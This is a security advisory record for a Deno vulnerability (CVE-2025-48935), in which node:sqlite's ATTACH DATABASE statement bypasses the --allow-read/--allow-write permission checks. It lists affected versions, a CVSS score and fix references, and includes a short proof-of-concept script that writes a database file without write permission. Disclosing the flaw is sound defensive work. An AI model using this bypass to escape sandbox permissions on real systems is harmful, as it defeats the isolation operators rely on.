rustsec-2025-0138
Vulnerability from osv_rustsec
Published
2025-06-03 12:00
Modified
2025-12-29 10:04
Summary
--allow-read / --allow-write permission bypass in `node:sqlite`
Details
It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.
PoC
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js
{
"affected": [
{
"database_specific": {
"categories": [],
"cvss": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"informational": null
},
"ecosystem_specific": {
"affected_functions": null,
"affects": {
"arch": [],
"functions": [],
"os": []
}
},
"package": {
"ecosystem": "crates.io",
"name": "deno",
"purl": "pkg:cargo/deno"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.5"
}
],
"type": "SEMVER"
}
],
"versions": []
}
],
"aliases": [
"CVE-2025-48935",
"GHSA-8vxj-4cph-c596"
],
"database_specific": {
"license": "CC-BY-4.0"
},
"details": "It is possible to bypass Deno\u0027s read/write permission\nchecks by using ATTACH DATABASE statement.\n\n## PoC\n\n```\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE \u0027test.db\u0027 as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```",
"id": "RUSTSEC-2025-0138",
"modified": "2025-12-29T10:04:21Z",
"published": "2025-06-03T12:00:00Z",
"references": [
{
"type": "PACKAGE",
"url": "https://crates.io/crates/deno"
},
{
"type": "ADVISORY",
"url": "https://rustsec.org/advisories/RUSTSEC-2025-0138.html"
},
{
"type": "ADVISORY",
"url": "https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860"
}
],
"related": [],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "--allow-read / --allow-write permission bypass in `node:sqlite`"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…